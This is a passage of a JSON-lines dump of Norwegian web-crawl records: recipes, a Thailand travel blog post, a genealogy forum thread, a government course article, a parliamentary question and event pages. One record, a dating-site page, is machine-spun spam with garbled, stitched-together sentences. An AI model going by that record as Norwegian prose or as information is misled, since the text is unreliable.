s\u00e5 burde det eventuelt v\u00e6re mulig \u00e5 lese mer om det.\n\nS\u00e5 s\u00e5nn er det.\n\nMed vennlig hilsen\n\nErik Ribsskog\n\nPS 2.\n\nOg jeg har heller aldri v\u00e6rt nazist nei, siden det er noen som s\u00f8ker p\u00e5 det.\n\nOg kommer heller aldri til \u00e5 bli det.\n\nS\u00e5 s\u00e5nn er det.\n\n### *Relatert*\n\n\n\n\n", "language": "no", "__index_level_0__": "9626ce12-2370-4adb-80bc-c51cc29ea59d"}
{"url": "https://kolonial.no/oppskrifter/2366-spoon-erte-og-spinatsuppe/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:38:45Z", "text": "rapsolje\n\n stk\n\ngul l\u00f8k, i terninger\n\n fedd\n\nhvitl\u00f8k, finhakket\n\n dl\n\nkylling-/h\u00f8nse-buljong\n\n stilk\n\nstangselleri\n\n g\n\nerter, frosne\n\n g\n\nspinat, fersk\n\n dl\n\nkremfl\u00f8te\n\nTopping\n\n g\n\nbacon\n\n ss\n\nr\u00f8mme, lett\n\n h\u00e5ndfull\n\nkruspersille, frisk\n\nEn deilig, gr\u00f8nn suppe som lyser opp hverdagen:)\n\n-----\n\nVask, rens og del det gr\u00f8nne\n\n1.  Spr\u00f8stek bacon og del i sm\u00e5 terninger\n2.  Varm olje i en gryte, fres hakket l\u00f8k og hvitl\u00f8k til det blir blank. S\u00e5 tilsetter du kyllingbuljong, selleri og lar det koke noen minutter f\u00f8r du tilsetter spinat og erter.\n3.  Kok opp og la det sm\u00e5putre i 6-7 minutter f\u00f8r du kj\u00f8rer suppen glatt med en stavmikser eller blender. Smak til med fl\u00f8te, varm opp og topp med spr\u00f8 bacon, r\u00f8mme og grovhakket persille.\n\n  \n\n  \n\nFoto: Silje Feiring\n\nPublisert 22. desember 2016\n\n", "language": "no", "__index_level_0__": "e5a6e1c7-d25a-41d1-b52b-c5503f1666a5"}
{"url": "http://maaltid.no/oppskrifter/sommersalat-med-kal-bringebaer-og-quinoa", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:31:33Z", "text": "# Sommersalat med k\u00e5l, bringeb\u00e6r og quinoa\n\n\n\nNyt denne fargerike sommersalaten, som byr p\u00e5 sm\u00e5 overraskelser av s\u00f8te b\u00e6r.\n\n\\#30 min.\n\n*Av* **I Form (2017)**  \n\n\n**Tips:** Bruk gjerne vaniljestang av h\u00f8y kvalitet, det kjennes godt p\u00e5 smaken\\!\n\n \n **  20 min  **  0\n\n**  ANDRE SOM DENNE \n\nM\u00e5ltid for **1 personer**\n\n Trykk +/- for \u00e5 endre antall personer eller tast inn mengden ingrediens du har. \n\nSkjule\n\n## Ingredienser\n\n  - g\n    \n    Lilla spissk\u00e5l\n\n  - knivs.\n    \n    Chiliflak\n\n  - dl\n    \n    Quinoa\n\n  - stk.\n    \n    Sitron, r\u00e5\n\n  - ss.\n    \n    Honning\n\n  - stk.\n    \n    Vaniljestang\n\n  - H\u00e5ndfull\n    \n    Bringeb\u00e6r, r\u00e5\n\n  - H\u00e5ndfull\n    \n    Bj\u00f8rneb\u00e6r\n\n## Slik lager du k\u00e5lsalat med bringeb\u00e6r og quinoa\n\n1\n\nSkyll quinoaen grundig, og kok den i lettsaltet vann i ca. 4 min.\n\n2\n\nHakk hele vaniljestangen i sm\u00e5 biter. R\u00f8r sammen i en blender med sitronsaft og honning til en kraftig dressing.\n\n3\n\nVend dressingen i den kokte quinoaen, og la det trekke, s\u00e5 lenge som mulig.\n\n4\n\nSkyll spissk\u00e5l, skj\u00e6r bort stilken, og kj\u00f8r noen runder i foodprosessoren til det er en smuldrete masse.\n\n5\n\nSmak til med chiliflak og litt sitronskall.\n\n6\n\nAnrett quinoa og b\u00e6r p\u00e5 en tallerken, dryss over revet sitronskall, og str\u00f8 over spissk\u00e5l til slutt.\n\n### Oppskrifter med quinoa\n", "language": "no", "__index_level_0__": "bacee0eb-d2c6-4a0f-96a0-82b42dcf1640"}
{"url": "https://etdrysskanel.com/2013/12/02/to-thailand/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:06:05Z", "text": "# Et dryss kanel\n\n## A Sprinkle of Cinnamon\n\n\n\n# To Thailand\\!\n\nPostet den 2. desember 2013 av Synne Cinnamon\n\nHerlighet, dere. Jeg drar i dag, og kommer hjem 14. desember.\n\nDen siste tida har v\u00e6rt en bisarr blanding av juleglede og reiseglede:  \nKanelkaffe, julemusikk, pynt og sn\u00f8 i lufta p\u00e5 den ene siden \u2013\u00a0 vaksiner, ryggsekk, sommerkl\u00e6r, vanskelige thai-fraser, sandaler og kart p\u00e5 den andre.\n\nStarten p\u00e5 \u00e5rets tovte m\u00e5ned ser vanligvis ganske annerledes ut.\n\n  \n  \n  \n\n\nHele denne turen har kommet s\u00e5 br\u00e5tt p\u00e5, s\u00e5 jeg kan nesten ikke tro at jeg snart g\u00e5r ombord i et fly, og jeg kan i hvert fall ikke fatte at n\u00e5r jeg g\u00e5r ut igjen elleve timer senere, er jeg i Thailand.  \nI Asia har jeg tidligere bare v\u00e6rt i Dubai og i Beijing, s\u00e5 det blir kjempespennende \u00e5 bli bedre kjent med en ny, liten del av denne ekstremt fascinerende verdensdelen.\n\nJeg ELSKER jo \u00e5 reise, s\u00e5 jeg gleder meg s\u00e5nn\\!\n\nDet ville riktignok v\u00e6re synd om bloggen l\u00e5 helt brakk i to uker, s\u00e5 jeg har forberedt et par ting til dere, og dessuten er jeg glad for \u00e5 kunne meddele at to av mine favorittfr\u00f8kner har skrevet gjesteinnlegg\\!  \nMed andre ord blir det ikke helt stille her inne, og det f\u00f8les bra.\n\nN\u00e5 tar jeg sekken p\u00e5 ryggen og stikker ut p\u00e5 eventyr.\n\n**Jeg \u00f8nsker alle en fabelaktig f\u00f8rjulstid frem til 14. desember\\!**\n\n\u2013 \u2013 \u2013 \u2013 \u2013\n\n*In other words: I'm leaving for Thailand today\\! I can hardly believe it. Lately my life has been a bizarre mix of Christmas preparations and travel preparations; cinnamon coffee, Christmas music, decorations and snow on the one hand, and vaccinations, tricky Thai phrases, sandals and maps on the other. The start of December normally looks very different\\! This trip was quite a spontaneous thing, so I haven't quite wrapped my head around the fact that I'm boarding a plane soon, or that when I exit the plane eleven hours later, I'm in Thailand. I've only been to Dubai and Beijing in Asia, and so I'm really excited to get acquainted with another little part of this extremely fascinating continent. I absolutely LOVE travelling; I can't wait\\! However it would be a shame if I left the blog completely neglected for the next couple of weeks. I've prepared a few post for ye, and I'm also happy to announce that two dear blogger friends have guest posts coming (but they won't be translated, I'm afraid). Now it's time to put my rucksack on, take off and have an adventure\\! I wish everyone a wonderful time until the 14th of December\\!*\n\n## 15 tanker p\u00e5 \"To Thailand\\!\"\n\n1.   Ane sier:\n    \n    2\\. desember 2013, kl. 09:12\n    \n    GOD TUR\\! H\u00e5per det blir herlig\\!\n    \n2.   Birte Valkyrje sier:\n    \n    2\\. desember 2013, kl. 10:04\n    \n    God tur og pass godt p\u00e5 deg sj\u00f8lv\\!\n    \n3.   koffeine sier:\n    \n    2\\. desember 2013, kl. 11:04\n    \n    God tur kj\u00e6re Synne min\\!\n    \n4.   \u00c5shild sier:\n    \n    2\\. desember 2013, kl. 12:12\n    \n    God tur\\!\n    \n5.   tine katrine sier:\n    \n    2\\. desember 2013, kl. 13:42\n    \n    \u00c5\u00e5\u00e5, s\u00e5 g\u00f8y\\! H\u00e5per du f\u00e5r en super tur\\!\n    \n6.   Maren sier:\n    \n    2\\. desember 2013, kl. 16:36\n    \n    God tur kj\u00e6re deg\\!\n    \n    LikerLiker\n7.   Laila sier:\n    \n    2\\. desember 2013, kl. 19:04\n    \n    God tur\\! Men hvilken vaksiner\u2026? Drar om en m\u00e5ned, men har ikke h\u00f8rt om noe vaksiner..:o\n    \n      -  Synnebollen sier:\n        \n        16\\. desember 2013, kl. 23:21\n        \n        Hei\\! Beklager sent svar, jeg fikk ikke sett over kommentarene i l\u00f8pet av turen,  \n        Folkehelseinstituttet anbefaler vaksinering mot hepatitt a, difteri, stivkrampe, kikhoste og poliomyelitt ved reise til Thailand. Noen av disse vaksinene har man gjerne fra f\u00f8r, men de b\u00f8r friskes opp hvert tiende \u00e5r. Tropisk myggspray med mer enn 20 % DEET er ogs\u00e5 viktig for \u00e5 sikre seg mot malaria og denguefeber.  \n        Riktig god tur\\!\n        \n8.   Maria sier:\n    \n    2\\. desember 2013, kl. 19:46\n    \n    God tur :)\n    \n9.   Aslaug sier:\n    \n    2\\. desember 2013, kl. 19:56\n    \n    God tur\\!\\! :D\n    \n10.  Hege sier:\n    \n    2\\. desember 2013, kl. 20:48\n    \n    God vind ;))\n    \n11.  Koselig sier:\n    \n    2\\. desember 2013, kl. 22:21\n    \n    God tur, v\u00e6r forsiktig\\! F\u00f8lg r\u00e5dene fra myndighetene og ha en fin tur :)\n    \n12.  bruno sier:\n    \n    2\\. desember 2013, kl. 23:48\n    \n    at smilet av folket, ordspr\u00e5k av dem, den gamle legender mytologi, hverdagsfilosofi ,naturskj\u00f8nn utsikt :gj\u00f8re for deg de lykkeligste dagene i ferie tur. med mange hyggelig sv\u00f8mmetur i sj\u00f8en og sol ; eller se noen mulig titt over rike gr\u00f8nne steiner. bonne quinzaine , la grande voyageuse \u2026.\n    \n13.  motionocean sier:\n    \n    8\\. desember 2013, kl. 22:15\n    \n    \u00c5\u00c5\u00c5\u00c5WOW\\!\\! KOS DEG SYNNE\\!\\!\\!\n    \n14.  Synnebollen sier:\n    \n    16\\. desember 2013, kl. 23:21\n    \n    Takk, alle sammen\\! Det ble en str\u00e5lende tur\\!\n\n\n# Bonjour\\!\n\nJeg heter Synne. Jeg er en glad geek som liker eventyr, vin, vintage, katter og hverdagsmagi. Jeg vil helst reise hele tida, men heldigvis er de sm\u00e5 gledene \u00e5 oppdrive overalt, og som frilanser kan jeg jobbe hvor jeg vil\\! For \u00f8yeblikket bor jeg i Oslo.  \n\u2013 \u2013 \u2013 \u2013 \u2013  \nMy name is Synne. I'm a Norwegian geek who likes adventures, wine, vintage, cats and everyday magic. I'd love to travel all the time, but luckily the little joys in life are everywhere, and as a freelancer I can work from wherever\\! These days I live in Oslo.\n\n", "language": "no", "__index_level_0__": "5b4d0774-6064-4346-8216-798de2f3f014"}
{"url": "http://doktorproktor.no/om-utstillingen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:05:44Z", "text": "Jo Nesb\u00f8s barneb\u00f8ker med \"Doktor Proktor\" har blitt en kjempesuksess i b\u00e5de inn- og utland. H\u00f8sten 2012 kom den fjerde boka i serien \u2013 \"Doktor Proktor og vdet store gullr\u00f8veriet\". \u00a0I forbindelse med trejde boken i serien, lagde Naturhistorisk Museum og Aschehoug en fantastisk utstilling for alle barn i alderen 5 til 105 \u00e5r\\! Ustillingen ble meget popul\u00e6r og ble sett av over 220 000 personer\\! Siden sommeren 2013 har utstillingen v\u00e6rt p\u00e5 rundtur i Norge.\n\nDu vil f\u00e5 n\u00e6rkontakt med fantasidyr og -vesener som til n\u00e5 har v\u00e6rt uoppdaget og skjult for offentligheten. Med god grunn, for mange av dem er ganske s\u00e5 gufne: som den enorme rotte-etende mongolske vannrotta (som visstnok holder til i Oslos kloakksystem), den utspekulerte Rev Constrictor, den grusomme og tre meter h\u00f8ye M\u00e5nekameleonen (som dr\u00f8mmer om verdensherred\u00f8mme) \u2013 og mange flere.\n\n\u00a0\n", "language": "no", "__index_level_0__": "2043b583-22dd-43b4-a76c-5555e21db3b9"}
{"url": "https://www.geni.com/discussions/88622", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-25T00:28:14Z", "text": "\n\nBj\u00f8rg Brynildsen\n\n1/15/2011 at 6:02 AM\n\nHei. Oline ble ikke gift p\u00e5 nytt da hun ble enke etter Olaf. Hilsen Bj\u00f8rg\n\n\n\nKjell Arild Modahl Reehorst *PRO*\n\n1/16/2011 at 7:17 AM\n\nHei Bj\u00f8rg\\!\n\nNei, men var hun ikke gift en kort periode med Bengt Olaves Jacobsen, hvor hun fikk datteren Anette? Alts\u00e5 f\u00f8r hun giftet seg med Olaf B.\n\nMvh Kjell A. Reehorst\n\n\n\nBj\u00f8rg Brynildsen\n\n1/16/2011 at 2:07 PM\n\nHei.  \nOk. Det har jeg ikke h\u00f8rt - eller sett etter. Da tar jeg vel feil\\! Hvor fant du forresten det? Hilsen Bj\u00f8rg\n\n\n\nBj\u00f8rg Brynildsen\n\n1/16/2011 at 2:20 PM\n\nHei igjen. Hvis du ser i kirkeboka for Glemmen 1887, gifte side 51 nr 26 ser du at Oline var \"pige\" da hun giftet seg. I Sigvarts erindringer mener jeg \u00e5 huske det st\u00e5r at hun fikk et barn utenfor ekteskap.  \nHilsen  \nBj\u00f8rg\n\n\n\nBj\u00f8rg Brynildsen\n\n1/16/2011 at 2:30 PM\n\nI kirkeboka for Tune 1882 side 72 under f\u00f8dte finner du Anettes d\u00e5p, nr 28. Moren var \"pige\" og fare skomaker\\!  \nHilsen  \nBj\u00f8rg\n\n\n\nKjell Arild Modahl Reehorst *PRO*\n\n1/17/2011 at 12:06 PM\n\nHei Bj\u00f8rg\\!\n\nDu har rett, jeg har kun misforst\u00e5tt det du skrev i boken din p\u00e5 side 70. Skal han da legges inn som partner (?).\n\nHar du forresten kommet lenger bakover i slekten siden sist, og hva har du lagt inn av dokumentasjon og opplysninger om de forskjellige?\n\nMvh\n\nKjell A. Reehorst\n\n\n\nBj\u00f8rg Brynildsen\n\n1/17/2011 at 12:53 PM\n\nHei. Jeg har ikke jobbet s\u00e5 mye med den grenen p\u00e5 en god stund. Bare sporadisk. Det er mulig jeg kan ha noe i tillegg, men har ikke oversikt over det n\u00e5.  \nI mitt systen som er Disgen har jeg lagt Anette inn som f\u00f8dt utenfor ekteskap - men har registrert inn faren.  \nDet er jo fint at flere jobber med det samme. Tror det er noe som ikke er helt overensstemmende litt lenger bak, men vil se n\u00e6rmere p\u00e5 det senere n\u00e5r jeg tar fatt for alvor. En merker jo at en har f\u00e5tt mer erfaring n\u00e5r en g\u00e5r tilbake p\u00e5 det en gjorde f\u00f8r - og det er jo bra\\! Alt er jo ogs\u00e5 mye enklere n\u00e5r s\u00e5 mye er lettere tilgjengelig.  \nHar du funnet noe i tillegg til det jeg har? Er ogs\u00e5 veldig interressert i gamle bilder. Har du noe av det?\n\nHilsen  \nBj\u00f8rg\n\n\n\nKjell Arild Modahl Reehorst *PRO*\n\n1/18/2011 at 12:12 AM\n\nHei Bj\u00f8rg\\!\n\nLitt usikker p\u00e5 hvordan jeg legger inn foreldre som ikke er gift p\u00e5 geni - har sjekket hvordan de gamle vikingkongene er registrert uten \u00e5 bli noe klokere.  \nDet meste av opplysninger og stoff jeg har lagt inn har jeg fra deg. Jeg har - som du sikkert har sett - f\u00e5tt et par treff p\u00e5 Geni ift andre tr\u00e6r, men ikke veldig mye.  \nJeg er ikke s\u00e5 veldig erfaren p\u00e5 Geni, eller med slektsforskning enn\u00e5 men jeg synes det er spennende.  \nHar for\u00f8vrig lest h\u00f8yt fra Sigvarts erindringer for barna og et par av deres venner. De satt som tente lys og var veldig interessert.  \nSi i fra hvis du trenger redigeringsrettigheter til det jeg har lagt inn s\u00e5 langt.\n\nMvh\n\nKjell A. Reehorst\n\n\n\nBj\u00f8rg Brynildsen\n\n1/18/2011 at 2:06 AM\n\nHei igjen. Jeg har ogs\u00e5 bare s\u00e5vidt pr\u00f8vet meg p\u00e5 Geni, har egentlig nok med alt det andre i forbindelse med \"slekta\". Det er vel der som med alt annet, en m\u00e5 sjekke kildene f\u00f8r en bruker det. Det har jeg etter hvert forst\u00e5tt viktigheten av. Det kan derfor v\u00e6re noen usikkerheter med det f\u00f8rste jeg gjorde, men jeg er igang med \u00e5 sjekke alt.  \nVi kan holde kontakt om dette temaet. G\u00f8y at ungene likte historien til Sigvart. Det var han som startet det hele. Min farfar fikk boka som han hadde registrert slekta i og jeg arvet den. Uten den hadde jeg aldri funnet frem\\! Boka fikk en av Sigvarts etterkommere. Den h\u00f8rte hjemme der, syntes jeg.  \nHilsen  \nBj\u00f8rg\n\n", "language": "no", "__index_level_0__": "43f5552c-a50e-4c04-81a9-8944405e4b20"}
{"url": "https://nettsteder.regjeringen.no/bedrestyringogledelse/2016/06/02/etatsstyring-mellom-politikk-og-forvaltning-et-relevant-og-motiverende-kurs-for-de-som-jobber-med-etatsstyring/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:17:28Z", "text": "\n\n# Etatsstyring mellom politikk og forvaltning \u2013 et relevant og motiverende kurs for de som jobber med etatsstyring\\!\n\nDato: 2. juni 2016 |  av Hanne-Cecilie Bj\u00f8rka\n\n***Etatsstyring mellom politikk og forvaltning*** ***inng\u00e5r som et av kompetansetiltakene i regjeringens program for*** ***bedre styring og ledelse i staten**. Ivar Tvede i Kommunal- og moderniseringsdepartement og Andreas Rosenberg i Landbruks- og matdepartementet har fulgt studiet og nylig avlagt eksamen. Vi setter stor pris p\u00e5 at de vil dele sine tanker om studiet med oss.***\n\n*Hva er deres opplevelse av studiet?*\n\n\u2013 Kurset er veldig relevant for min arbeidssituasjon, siden etatsstyring av Kartverket er min prim\u00e6re arbeidsoppgave, sier Ivar.\u00a0Foredragsholderne kommer fra rettsvitenskap, \u00f8konomi, historie og statsvitenskap, samt ledere i offentlig sektor. Sammensetningen reflekterer \u00abpraktisk\u00bb etatsstyring, teoretiske perspektiver og andre akademiske perspektiver som kan v\u00e6re nyttige for \u00e5 forst\u00e5 utviklingen innen feltet.\n\n\u2013 Poenget er at oppgaver kan l\u00f8ses annerledes. N\u00e5 ser jeg hvordan utviklingen fra plan\u00f8konomi i retning m\u00e5l- og resultatstyring samt de langsiktige endringene i departements- og etatsstrukturen har forandret staten og hvordan vi styrer. Det har gitt meg et helt nytt perspektiv p\u00e5 det som skjer akkurat n\u00e5. Det har ogs\u00e5 v\u00e6rt en \u00f8ye\u00e5pner for meg at hvordan vi organiserer etatene, er helt avgj\u00f8rende for hvordan vi kan drive praktisk styring og kontroll. I dag forst\u00e5r jeg rollen som etatsstyrer p\u00e5 en helt ny m\u00e5te. Gjennom denne videreutdanningen har jeg f\u00e5tt et nytt perspektiv p\u00e5 hva vi kan f\u00e5 til, sier Andreas.\n\nIvar Tvede p\u00e5peker at kurset er en god\u00a0arena til \u00e5 snakke mer \u00e5pent og konstruktivt om tema enn man ellers gj\u00f8r\u00a0p\u00e5 kurs. Andreas Rosenberg sier at han har satt stor pris p\u00e5 den nysgjerrighet og vilje til forbedring han opplever at deltakerne p\u00e5 kurset representerer, noe som for ham er en viktig kilde til inspirasjon. Ivar legger til:\n\n\u2013 Kursets fokus er selvf\u00f8lgelig p\u00e5 mer overordnede sp\u00f8rsm\u00e5l man ikke f\u00e5r jobbet s\u00e5 mye med fra dag til dag. Det gir et godt overblikk over temaet, innsikt i historien bak de reformene vi jobber med og kontakt med mange av de andre som jobber med det samme i andre departement.\n\n\u2013 Jeg er statsviter og for meg var det s\u00e6rlig nyttig med et ekstra kurs i statsvitenskap som forutsetter b\u00e5de teoretisk kunnskap om faget og praktisk erfaring fra arbeidslivet, sier han.\n\n*Hvordan kan du dele nye erfaringer og kunnskaper med dine kollegaer?*\n\n\u2013 Hovedsakelig ved \u00e5 bruke kunnskapen i hverdagen, ved \u00e5 vektlegge arbeidsoppgaver annerledes og planlegge arbeidet p\u00e5 en annen m\u00e5te, sier Ivar.\n\n\u2013 Min erfaring er at styringspraksis for en etat eller et departement er preget av rutiner. Det er mange plasser et potensial for \u00e5 legge st\u00f8rre vekt p\u00e5 styring og gjennomf\u00f8ring av politikk. Det vil kunne \u00f8ke verdien p\u00e5 alt det flotte arbeid som gj\u00f8res for \u00e5 utvikle og formidle politikken. Jeg har et sterkt \u00f8nske om \u00e5 drive med utviklingsarbeid innenfor dette feltet fremover, sier Andreas.\n\n*Hvordan er det \u00e5 kombinere studier og jobb?*\n\n\u2013 Det hjalp at det ved kurset var et krav at det ble gitt tid til studiesamlinger osv.\n\n\u2013 Det krever planlegging. Jeg hadde dessuten stor glede av samtidig \u00e5 hospiterte i departementets administrasjonsavdeling. For meg gav dette en dobbel gevinst\\! avslutter Andreas.\n\n-----\n\n**Fakta om \u00abEtatsstyring mellom politikk og forvaltning\u00bb ved UiO**\n\nStudiet er et samlingsbasert videreutdanningstilbud p\u00e5 masterniv\u00e5 for de som jobber med etatsstyring. Studiet er ment b\u00e5de for de som jobber i et departement og for de som jobber i direktorat eller annet underliggende statlig forvaltningsorgan. Undervisningen har v\u00e6rt organisert i fire samlinger hvorav en ble gjennomf\u00f8rt ved The Norwegian University Centre i Paris. Studiet g\u00e5r over to semestre og hadde oppstart h\u00f8sten 2015. Studiet gir 20 studiepoeng.\n\nStudiet ble etablert ved en avtale mellom Universitetet i Oslo og Finansdepartementet. Universitetet er faglig ansvar for innholdet, mens Finansdepartementet dekker universitetets nettoutgifter til form\u00e5let. Studiet vil bli evaluert etter denne f\u00f8rste runden, og i den forbindelse blir det ogs\u00e5 vurdert om tilbudet skal videref\u00f8res.\n\nKlikk her hvis du vil lese mer om studiet.\n\n", "language": "no", "__index_level_0__": "c08e924a-ae14-45c4-96b6-54d4d1c57376"}
{"url": "http://dream-project.eu/K-flirt/hva-er-nettdatinggratis-sex-video-21-09-2017.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:13:44Z", "text": "\n\n# HVA ER NETTDATING\n\n  \n\nDette p\u00e5 tross av at vi reklamerer for en br\u00f8kdel av hva andre tjenester gj\u00f8r.Ei viktig ting er ogs\u00e5 at alle v\u00e5re medlemmer har fylt inn relasjonsprofilen, hvilket s\u00f8rger for god kvalitet og seri\u00f8se medlemmer. De fleste forst\u00e5r by man ikke kan betale slike garantier. Dessverre er det mange som skriver slike ting, og det gj\u00f8r deg ikke attp\u00e5 unik. Men en f\u00f8rste date er ikke alltid s\u00e5 lett, det er nok de fleste beredvillig til \u00e5 skrive below p\u00e5. Forventningene og spenningen ligger i luften.\n\n  \n#### Uff da, det var dumt\n\nLes v\u00e5re tips og anrette v\u00e5r quiz for bekk finne ut om du er klar for ei nytt forhold. Om alleh\u00e5nde ikke er interessert i deg, s\u00e5 er det ikke sikkert de er useri\u00f8se av den grunn\\! Hva er du avbud etter? Aldersfordeling p\u00e5 damer med bilde - Antall medlemmer Sukker. Vi alle liker det, MEN, \u00f8nsker du at noen skal ta kontakt for by du er sexy? Alleh\u00e5nde kameler m\u00e5 vi svelge\\! Den beste beskyttelsen du kan ha er arbeidsf\u00f8r fornuft. \u00c5 d\u00f8mme alleh\u00e5nde uten \u00e5 kjenne de er ikke pent gjort\\! Ved \u00e5 f\u00e5 skreddersydde partnerforslag \u00f8nsker Be2 bekk hjelpe deg mest mulig med \u00e5 oppn\u00e5 avpasset dette. Her kommer alts\u00e5 noen tips om hva du b\u00f8r tenke for n\u00e5r du dater attmed oss p\u00e5 Match. Det er lettere \u00e5 bli kjent med hverandre bare du gj\u00f8r noe ap sammen, heller enn bekk sitte ved et ansats og bare snakke. Above har per opprettet profil p\u00e5 Sukker, og \u00e5rlig logger inn p\u00e5 Sukker.\n\n  \n  \nDischarge med \u00e5pne kort. Sikkerhetstips Match er et utmerket sted \u00e5 m\u00f8te nye interessante mennesker. \u00c6rlighet varer faktisk lengst. M\u00f8t for et trygt sted. Igang \u00e5 forhindre dette m\u00e5 fornyelsen deaktiveres en god stund f\u00f8r trekket skjer. Det finnes mange useri\u00f8se datingakt\u00f8rer som oppgir \"ville tall\", s\u00e5 n\u00e5r det kommer til antall medlemmer er det greit bekk v\u00e6re litt skeptisk. Abiword opplever stor p\u00e5gang \u00e0 v\u00e5re kurs, og det betyr at den eneste sikre m\u00e5ten \u00e5 bli med, er \u00e5 egen finne en partner. Profilen din vises kun designed for matchene dine, og aldri i eksterne annonser alias s\u00f8kemoterer. Selve nettsiden er enkel \u00e5 bruke med et rent design best\u00e5ende av fargene hvit og rosa.\n\n  \n  \n  \n#### Kommentarer:\n\n  \n*29.09.2017 : 04:30 Vojinn:*\n\nFab Farben\\!\n", "language": "no", "__index_level_0__": "fbf940dc-959c-4358-9711-facac6922759"}
{"url": "https://www.stortinget.no/no/Saker-og-publikasjoner/Sporsmal/Sporretimesporsmal/et-sporretimesporsmal/?qid=55276", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:38:12Z", "text": "# Sp\u00f8rretimesp\u00f8rsm\u00e5l fra Ingjerd Schou (H) til justis- og beredskapsministeren\n\nOm at vi siden sommeren 2012 har hatt to operative helikoptre, og i hvilken grad disse helikoptrene har mulighet til \u00e5 kommunisere med politiet og de andre n\u00f8detatene n\u00e5r helikoptrene er i tjeneste  \n\nDatert: 18.10.2012  \nBesvart: 24.10.2012 av justis- og beredskapsminister Grete Faremo  \n\n\n\n### Sp\u00f8rsm\u00e5l\n\nIngjerd Schou (H): P\u00e5 bakgrunn av 22. juli-kommisjonens rapport om viktigheten av operative politihelikoptre har vi n\u00e5 hatt to disponible helikoptre siden sommeren 2012.\n\nI hvilken grad har helikoptrene mulighet til \u00e5 kommunisere med politiet og de andre n\u00f8detatene n\u00e5r helikoptrene er i tjeneste, om det er dekning for n\u00f8dnett i luften eller om disse opererer over mobilnettet eller annet, og dersom det ikke eksisterer slike sambandsl\u00f8sninger i dag, hvilke planer har statsr\u00e5den for \u00e5 f\u00e5 dette p\u00e5 plass?\n\n  \n", "language": "no", "__index_level_0__": "61c877bc-b677-490b-8b16-1071e80720ba"}
{"url": "https://www.hadeland-glassverk.no/hva-skjer/barnas-helg/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:12:36Z", "text": "\n\n# **Barnas helg\u00a0p\u00e5 Hadeland Glassverk  \n22\\. \u2013 23. april\\!**\n\n#### **Hadeland Glassverk er ikke bare et glassverk, det er opplevelsessenter ogs\u00e5. Ikke minst for barna.\u00a0I Glasshytta kan du bl\u00e5se ditt eget glass. Like ved Honninghuset finnes det en g\u00f8yal lekeplass og under Barnas helg har vi en egen bondeg\u00e5rd med masse g\u00f8y for barna.**\n\nLys- og Tinnst\u00f8periet byr p\u00e5 farging av lys. I Bakeriet finner du b\u00e5de is og ferskt gj\u00e6rbakst og mye annet godt. Uteomr\u00e5dene er romslige med massevis av tumleplass.\u00a0Ta med familien p\u00e5 Barnas helg den 22. -23. april\\!\n\n**FOREL\u00d8PIG PROGRAM:**\n\n\\-Barnas Bondeg\u00e5rd (Parken)  \n\\-Bl\u00e5s ditt eget glass (Glasshytta)  \n\\-Farg dine egne lys (Hadeland Lys & Tinn)  \n\\-Ansiktsmaling (Museet)  \n\\-Aktiviteter med Toso 4H (23/4)  \n\\-Akershus \u00a0Teater spiller forestillingen HJEM kl 13.30 l\u00f8rdag og s\u00f8ndag (Auditoriet)\n\n**Bilder fra Barnas Helg 2016**\n\n\n\nLovise Thomassen (6) og lilles\u00f8ster Iselin synes det er kjempeg\u00f8y \u00e5 klappe sauene.\n\n\u00a0\n\n\nStore uteomr\u00e5der som er veldig g\u00f8y \u00e5 springe rundt p\u00e5\\! Foto: Sverre Jarild.\n\n\u00a0\n\n\nGlassbl\u00e5sing er et kunsth\u00e5ndverk som g\u00e5r hele 254 \u00e5r tilbake p\u00e5 Hadeland\\!\n\n\u00a0\n\n\nS\u00e5\u00e5\u00e5\u00e5 fine\\! Julia (7) og Milla (10) Gj\u00e6rl\u00f8w Gabrielsen beundrer sin egen glasskunst. Foto: Sverre Jarild\n\n\u00a0\n\n\n\u2013 Det morsomste jeg vet er \u00e5 mate geitene, smiler Sofie (6).\n\n\u00a0\n\n\nIda Nysether Grinde (3) klapper hesten Silja etter rideturen.\n\n\u00a0\n\n\nBl\u00e5tt skulle det v\u00e6re, og ikke rosa \u2013 som Dennis ved en feil holdt p\u00e5 \u00e5 velge.\n\n#### Aktivitetskort kj\u00f8pes i Museet p\u00e5 Hadeland Glassverk, kr 200,- per barn. Har du sp\u00f8rsm\u00e5l? Send mail til \u00a0firstname.lastname@example.org eller ring 61 31 66 19 i dag\\!\n\n\n", "language": "no", "__index_level_0__": "34579167-311e-4864-95d6-356760c7669e"}
